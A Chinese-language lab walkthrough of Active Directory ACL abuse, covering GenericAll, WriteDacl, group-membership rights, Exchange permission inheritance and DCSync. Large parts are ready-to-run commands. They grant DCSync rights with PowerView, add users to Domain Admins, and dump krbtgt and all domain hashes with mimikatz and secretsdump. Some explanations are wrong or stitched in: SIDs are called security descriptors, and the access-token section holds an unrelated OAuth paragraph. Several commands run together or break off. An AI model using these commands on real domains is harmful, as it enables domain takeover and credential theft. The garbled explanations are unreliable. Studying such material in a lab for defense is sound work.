內網滲透 域ACL攻防
windows訪問控制模型
在Active Directory中設置權限,其方式與在文件中設置權限的方式幾乎相同。權限控制都是使用windows訪問控制模型
windwos訪問控制模型包含以下部分
1、訪問令牌(Access Tolen)
2、包含用戶的標識(User SID,Group SID S),以及特權列表
3、安全描述符(security identifiers)
4、被訪問的安全對象的相關安全信息
這里的安全對象包括但不限于
· NTFS卷上的文件和目錄
· 注冊表項
· 網絡共享
· 服務
· Active Directory對象
· 進程等
Access Token
access Token用于基于Token的認證模式,允許應用訪問一個資源API。用戶認證授權成功后,Authing會簽發Access Token給應用。應用需要攜帶Access Token訪問資源API,資源服務API會通過攔截器檢查Access TOken中的scope字段是否包含特定的權限項目,從而決定是否返回資源
系統使用訪問令牌來標識用戶,訪問令牌包括用戶的SID、所在組的SID等信息
安全描述符
SID(Security Identifiers)即安全描述符
安全描述符標識對象的所有者,并包含以下訪問控制列表
1、Discretionary Access Control List(DACL)自由訪問控制列表
2、System Access Control List(SACL)系統訪問控制列表
每一種控制列表中都存在若干條ACE(Access Control Entries)訪問控制條目
查看domain user屬性->安全->高級

安全描述符由Header、SID、DACL和SACL組成
ACE是針對特定用戶或特定組的單個權限授予(或拒絕權力)的配置結構。ACE有許多不同類型,但是在Active Directory的權限中,只有四種不同的含義,兩種分別用于授權和拒絕權限。
Access Mask
在ACE中有Access Mask這個字段,它代表著此條ACE所對應的權限,比如完全控制(GenericALl)、修改密碼(RestPassword)、寫入屬性(WriteMembers)等等


Trustees
Trustees的意思為受委托人,受委托是一個ACE所應用到的用戶賬戶,組賬戶或者是登錄會話。也就是說,誰是一個ACE的受托者,那么這條ACE中的Access Mask所對應的權限(可能是拒絕可能是通過)就會賦予受托者
域里常見可利用的ACL
· GenericAll :授予目標對象的完全控制權,包括WriteDacl和WriteOwner特權。
· GenericWrite :此權限能夠更新目標對象的屬性值
· Self-Membership :這條權限指的是某個賬戶能夠把自身添加到某個組的權限(需要在某個組的高級權限中添加ACE,也就是說針對的是組對象)
· WriteProperty :WriteProperty直譯為寫所有權。這個權限利用針對的對象為組對象,能夠賦予賬戶對于某個組的可寫權限
· WriteOwner :WriteProperty on Group說的是對一個組具有WriteProperty權限的情況下,“寫入全部屬性”除了WriteProperty還包括了其他的權限
· WriteDacl :WriteDacl允許委托人修改受影響對象的DACL。這意味著攻擊者可以添加或刪除特定的訪問控制項,從而使他們可以授予自己對對象的完全訪問權限。因此,WriteDacl是在鏈中啟用其他權利的權利。
GenericAll
nami\users用戶的權限

將nami\users權限設置完全控制


執行powershell命令查看test用戶的GenericAll權限項,這些權限項對應的就是ACE的有效訪問
.\SharpView.exe Get-ObjectAcl -SamAccountName test -ResolveGUIDs
在域控上設置test用戶的DACL,添加nami用戶對test的完全控制
再次查詢test用戶的DACL,就會發現ActiveDirectoryRights屬性等于GenericAll的acl發現多了一條
Get-ObjectAcl -SamAccountName nami -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
這條ACL的含義是:
nami賬戶對test賬戶具有完全管理(GenericALL)權限
可以看到在設置DACL之前和之后的區別,設置ACL之后是立即生效的。然后使用runas命令就可以直接創建一個tset權限的cmd窗口:

擁有這個權限可直接DCSync,dump哈希

GenericAll on Group
GenericAll on Group 是對一個組有GenericAll權限,使用命令查看用戶組
Get-NetGroup "domain admins"

此時nami和test均為域內普通權限用戶,然后再管理員組domain admins的DACL中加入nami的GenericALL權限
完全控制權限
再次去查詢使用命令查看domain admins的權限。可以看到一條SID為nami的SID,權限為GenericAll
Get-ObjectAcl -ResolveGUIDs| ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC
然后嘗試將test加入domain admins組
net group "domain admins" test /add /domain net group "domain admins" test /del /domain
將nami的GenericAll權限在domain admins移出之后,再次執行就會被拒絕
擁有這個權限可直接DCSync,dump哈希
WriteDacl
WriteDacl允許委托人修改受影響對象DACL。這意味著攻擊者可以添加或刪除特定的訪問控制項,從而使他們可以授予自己對對象的完全訪問權限。因此,WriteDacl是在鏈中啟用其他權利的權利。
當前擁有WriteDacl權限,沒有DCSync權限。
Get-ObjectAcl -SamAccountName "nami" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights-like "*dacl*"}
自己向自己寫入DSCync權限
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity \"DC=nami,DC=com\" -PrincipalIdentity nami -Rights DCSync -Verbose}"
Add-DomainObjectAcl -TargetIdentity "DC=nami,DC=com" -PrincipalIdentity nami -Rights DCSync -Verbose
寫入成功之后,直接dump哈希
Self (Self-Membership) on Group
這條權限指的是某個賬戶能夠把自身添加到某個組的權限(需要在某個組的高級權限中添加ACE,也就是說針對的是組對象)

可以把自身加入域管理員組

已經加入域管理員組

添加到管理員組,可以直接DCSync。
注意:添加到管理員組之后需要重新登錄才可以DCSync

WriteProperty on Group
對一組具有WriteProperty權限的情況下,"寫入全部屬性"除了WriteProperty還包括了其他的權限
CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, GenericRead, WriteDacl, WriteOwner
在Domain Admins組的列表中添加寫入全部屬性,會生成一條新的ACE,訪問會被標記為特殊
添加ACE前后
同樣加入到管理員組就可以DCSync
ACL相關的攻擊方式-DCSync攻擊
什么是DCSync?
在域環境中,不同域控制器(DC)之間,每15分鐘都會有一次域數據的同步。當一個域控制器(DC1)想從其他域控制器(DC2)獲取數據時,DC1會向DC2發起一個GetNCChanges請求,該請求的數據包括需要同步的數據。如果需要同步的數據比較多,則會重復上述的過程。DCSync就是利用的這個原理,通過Directory Replication Service(DRS)服務的GetNCChanges接口向域控發起數據同步請求。域控制器之間的數據同步復制
但是在2015 年 8 月份, Mimkatz新增了一個主要功能叫"DCSync",使用這項技術可以有效地 "模擬" 域控制器并從目標域控上請求域內用戶密碼hash
DCSync攻擊的對象如果是只讀域控制器(RODC),則會失效。因為RODC是不能參與復制同步數據到其他DC的
DCSync需要什么權限
一個域內用戶想要通過DCSync獲取krbtgt的HASH值需要在域對象或者域內的高權限組中有以下權限:
復制目錄更改Replicating Directory Changes (DS-Replication-Get-Changes)
復制目錄更改所有Replicating Directory Changes All (DS-Replication-Get-Changes-All)(Exchange用的就是這個)
這幾個權限在DACL的設置中可以看到
寫入一個DCSync
在域控中給一個用戶添加DCSync權限,使用powerviewer.ps1的Add-DomainObjectAcl函數實現
Add-DomainObjectAcl -TargetIdentity "DC=nami,DC=com" -PrincipalIdentity win7 -Rights DCSync
或
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=nami,DC=com\" -PrincipalIdentity win7 -Rights DCSync -Verbose}"
在DACL這里新增了一條ACE
使用win7用戶導出hash,這里不需要debug權限也可以直接dump哈希,因為DCSync去向域控發起請求,并非本地操作,為網絡請求。
mimikatz.exe "lsadump::dcsync /user:krbtgt" "exit"mimikatz.exe "lsadump::dcsync /user:all" "exit"mimikatz.exe "log Micropoor.txt" "lsadump::dcsync /domain:nami.com /all /csv " "exit"


刪除一個DCSync
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity test -Rights DCSync -Verbose}"
或
Remove-DomainObjectAcl -TargetIdentity "DC=nami,DC=com" -PrincipalIdentity nami -Rights DCSync -Verbose
再次DSCync被拒絕
查詢具有DCSync權限的用戶
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "DS-Replication-Get-Changes"}Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "Replicating Directory Chan
使用Adfind查找
AdFind.exe -s subtree -b "DC=nami,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmuteAdFind.exe -s subtree -b "DC=nami,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes All";; -recmute
我又增加了一個test用戶
若拿到用戶為以下組的用戶,即可直接寫入DCSync功能,從而dump哈希
Administrators組內的用戶
domain admins組
enterprise admins組
域控制器的計算機賬戶


查看用戶所具備的ACL
Get-DomainObjectAcl -Identity nami -domain nami.com -ResolveGUIDs

Exchange
Exchange 2019之前的版本
安裝好exchange之后,Exchange會添加一個名為 Microsoft Exchange Security Groups ,其中包括幾個特殊的組:
Exchange Trusted Subsystem
Exchange Windows Permission
Organization Management
如果獲得了這三個組內任意用戶的控制權限,就能夠繼承該組的WriteDACL權限,進而修改域對象的ACL。
默認情況下,Exchange Windows Permissions對安裝Exchange的域對象具有WriteDacl權限,那么Exchange Trusted Subsystem也會繼承這個權限
其中Exchange Trusted Subsystem是Exchange Windwos Permissions的成員
添加一個win7的成員,如果對域對象具有了WriteDACL權限,就能夠為指定域用戶添加ACE,其獲得利用DCSync導出域內所有用戶hash的權限

查看當前的權限
whoami /groups

或者使用命令添加一個用戶到Exchange Trusted Subsystem組
net user test2 test2@123 /add /domainnet group "Exchange Trusted Subsystem" test2 /add /domainpython3 secretsdump.py nami/test2:test2@123@10.0.20.16 -just-dc-user krbtg
裝了Exchange2遍沒裝成功,,,
當有了WriteDacl權限之后就可以自己向自己寫入一條ACE,上面有寫到,然后就可以dcsync了